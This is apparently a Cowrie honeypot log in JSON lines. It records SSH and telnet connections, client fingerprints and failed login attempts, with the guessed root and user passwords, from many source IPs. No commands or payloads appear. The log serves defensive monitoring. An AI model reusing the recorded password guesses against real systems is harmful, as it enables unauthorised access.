{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":52662,"dst_ip":"159.203.135.109","dst_port":22,"session":"193e9a002055","protocol":"ssh","message":"New connection: 36.95.194.51:52662 (159.203.135.109:22) [session: 193e9a002055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:04.289304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:04.293554Z","src_ip":"36.95.194.51","session":"193e9a002055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:04.576052Z","src_ip":"36.95.194.51","session":"193e9a002055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:05.739164Z","src_ip":"36.95.194.51","session":"193e9a002055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:07.025061Z","src_ip":"36.95.194.51","session":"193e9a002055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.23227286338806,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:15.037351Z","src_ip":"194.180.12.23","session":"36768dac3fec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":57880,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff149a479ca0","protocol":"ssh","message":"New connection: 18.218.118.203:57880 (10.17.0.5:22) [session: ff149a479ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:21.036709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:21.046205Z","src_ip":"18.218.118.203","session":"ff149a479ca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:21.068793Z","src_ip":"18.218.118.203","session":"ff149a479ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":48024,"dst_ip":"10.17.0.5","dst_port":22,"session":"7622b2e5bc5e","protocol":"ssh","message":"New connection: 43.162.109.147:48024 (10.17.0.5:22) [session: 7622b2e5bc5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:28.319327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:28.325184Z","src_ip":"43.162.109.147","session":"7622b2e5bc5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:28.393568Z","src_ip":"43.162.109.147","session":"7622b2e5bc5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"J5cmmu=Kyf0-br8CsW","message":"login attempt [root/J5cmmu=Kyf0-br8CsW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:28.698949Z","src_ip":"43.162.109.147","session":"7622b2e5bc5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:29.771627Z","src_ip":"43.162.109.147","session":"7622b2e5bc5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:31.046720Z","src_ip":"18.218.118.203","session":"ff149a479ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":34704,"dst_ip":"159.203.135.109","dst_port":22,"session":"492e7ccccb04","protocol":"ssh","message":"New connection: 46.165.56.242:34704 (159.203.135.109:22) [session: 492e7ccccb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:43.231446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:43.239208Z","src_ip":"46.165.56.242","session":"492e7ccccb04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:44.043348Z","src_ip":"46.165.56.242","session":"492e7ccccb04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@2016","message":"login attempt [root/Password@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:44.515503Z","src_ip":"46.165.56.242","session":"492e7ccccb04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:45.679900Z","src_ip":"46.165.56.242","session":"492e7ccccb04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0018093585968,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:46.330033Z","src_ip":"78.174.100.105","session":"136f33afe9f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.174.100.105","src_port":48468,"dst_ip":"10.17.0.5","dst_port":23,"session":"727d2f80d279","protocol":"telnet","message":"New connection: 78.174.100.105:48468 (10.17.0.5:23) [session: 727d2f80d279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:46.927565Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":53745,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c60ec4a728c","protocol":"ssh","message":"New connection: 213.209.159.56:53745 (10.17.0.5:22) [session: 4c60ec4a728c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:56.288694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:56.293818Z","src_ip":"213.209.159.56","session":"4c60ec4a728c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:56.376229Z","src_ip":"213.209.159.56","session":"4c60ec4a728c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erykah","password":"erykah","message":"login attempt [erykah/erykah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:56.775185Z","src_ip":"213.209.159.56","session":"4c60ec4a728c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erykah","password":"erykah1","message":"login attempt [erykah/erykah1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:57.860023Z","src_ip":"213.209.159.56","session":"4c60ec4a728c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erykah","password":"erykah123","message":"login attempt [erykah/erykah123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:58.946883Z","src_ip":"213.209.159.56","session":"4c60ec4a728c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erykah","password":"erykah1234","message":"login attempt [erykah/erykah1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:00.033213Z","src_ip":"213.209.159.56","session":"4c60ec4a728c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erykah","password":"erykah12345","message":"login attempt [erykah/erykah12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:01.119679Z","src_ip":"213.209.159.56","session":"4c60ec4a728c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:02.206155Z","src_ip":"213.209.159.56","session":"4c60ec4a728c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":37220,"dst_ip":"10.17.0.5","dst_port":22,"session":"24988983a08e","protocol":"ssh","message":"New connection: 144.91.86.102:37220 (10.17.0.5:22) [session: 24988983a08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:21.541734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:21.548355Z","src_ip":"144.91.86.102","session":"24988983a08e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:21.642860Z","src_ip":"144.91.86.102","session":"24988983a08e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111","message":"login attempt [root/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:22.053020Z","src_ip":"144.91.86.102","session":"24988983a08e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:23.151547Z","src_ip":"144.91.86.102","session":"24988983a08e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.106.83.59","src_port":56807,"dst_ip":"10.17.0.5","dst_port":22,"session":"54b676a5af75","protocol":"ssh","message":"New connection: 180.106.83.59:56807 (10.17.0.5:22) [session: 54b676a5af75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:26.579955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:26.584972Z","src_ip":"180.106.83.59","session":"54b676a5af75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:26.831589Z","src_ip":"180.106.83.59","session":"54b676a5af75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"akash","message":"login attempt [root/akash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:27.843470Z","src_ip":"180.106.83.59","session":"54b676a5af75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:28.670240Z","src_ip":"46.165.56.242","session":"a8b91fe9a41b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:29.093038Z","src_ip":"180.106.83.59","session":"54b676a5af75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":55342,"dst_ip":"159.203.135.109","dst_port":22,"session":"fca5ce5f206b","protocol":"ssh","message":"New connection: 200.108.174.4:55342 (159.203.135.109:22) [session: fca5ce5f206b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:29.349784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:29.354242Z","src_ip":"200.108.174.4","session":"fca5ce5f206b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:29.500941Z","src_ip":"200.108.174.4","session":"fca5ce5f206b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2056","message":"login attempt [root/2056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:45:30.115939Z","src_ip":"200.108.174.4","session":"fca5ce5f206b","protocol":"ssh"}
